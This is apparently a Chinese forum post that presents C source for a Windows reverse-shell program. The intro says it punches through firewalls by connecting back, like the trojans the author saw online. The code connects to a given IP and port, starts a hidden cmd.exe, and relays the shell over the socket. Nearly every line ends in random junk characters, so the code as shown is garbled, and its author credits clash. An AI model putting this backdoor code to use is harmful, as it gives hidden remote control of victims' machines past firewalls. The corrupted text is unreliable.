这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \#,#_
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/* ============================== {OrE1WHB
Rebound port in Windows NT kw ^ Sbxm
By wind,2006/7 1>y=i+T/b
===============================*/ >%dAqYi $
#include ibs"Iv34
#include }zxh:"#K
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#pragma comment(lib,"wsock32.lib") "mDrJTWa
t~K!["g
void OutputShell(); 4(GgaQFO?
SOCKET sClient; WCT W#<izm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `Kw8rG\]:
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void main(int argc,char **argv) kQl cT"R
{ =w$"wzc
WSADATA stWsaData; 3#9r4;&
int nRet; z2V8NUn
SOCKADDR_IN stSaiClient,stSaiServer; rOr1H!
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if(argc != 3) [<a%\:c m4
{ c.A/{a
printf("Useage:\n\rRebound DestIP DestPort\n"); b\m(0/x
return; kdPm # $-
} w!w _`7[
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WSAStartup(MAKEWORD(2,2),&stWsaData); Rbc2g"]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DK_v{R
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stSaiClient.sin_family = AF_INET; V?dK *8s
stSaiClient.sin_port = htons(0); g]
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^-*Tn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GiO#1gA
{ OrJlHMz
printf("Bind Socket Failed!\n"); _m?(O /BTx
return; tF g'RV{
} ]l7\Zq
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stSaiServer.sin_family = AF_INET; AaC1||?R
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xjq7%R_,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rIfGmh%H
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3=|2Gs?ut
{ #33RhJu5,
printf("Connect Error!"); ~'QeN%qadP
return; *([)X2A@+
} cPaWJ+c
OutputShell(); lrX0c$)
} 't?7.#,6O
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void OutputShell() v[DbhIXU
{ *[~o~e/YCb
char szBuff[1024]; qq7X",s
SECURITY_ATTRIBUTES stSecurityAttributes; \ j X N*A
OSVERSIONINFO stOsversionInfo; O0(Q0Ko
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F@'rP++4
STARTUPINFO stStartupInfo;
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char *szShell; C
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PROCESS_INFORMATION stProcessInformation; #Q7x:,f
unsigned long lBytesRead; !5SQN5K
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6?.pKFBZ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HGQ?(2] 8$
stSecurityAttributes.lpSecurityDescriptor = 0; ^8l3j4
stSecurityAttributes.bInheritHandle = TRUE; 3?Eoj95w!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SP?U@w%}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); chMc(.cN0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }Wche/g`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3)c
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stStartupInfo.wShowWindow = SW_HIDE; )!}-\5F
stStartupInfo.hStdInput = hReadPipe; MAD}Tv\S7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <RPoQ'.^
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GetVersionEx(&stOsversionInfo); @?7{%j*
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switch(stOsversionInfo.dwPlatformId) {+6D-rDw
{ V>j hGf
case 1: PSf5p\<5
szShell = "command.com"; 71/ m.w
break; W
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default: X})Imk7&E
szShell = "cmd.exe"; .F$|j1y
break; 87pXv6'FQ
} !MJe+.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L}jF#*Q%
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send(sClient,szMsg,77,0); ?9gTk
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while(1) %V(N U_o
{ uJam
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~l*?D7[o
if(lBytesRead) hUT^V(
{ z1'FmwT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~@4ZV
send(sClient,szBuff,lBytesRead,0); 6%\Q*r*N
} l/png:
else MYhx'[4[3
{ xBRh!w
lBytesRead=recv(sClient,szBuff,1024,0); {`H<=h__
if(lBytesRead<=0) break; M9s43XL(&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I' ! r
} $ ~,}yh;
} ]C
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return; mYh5#E41J
}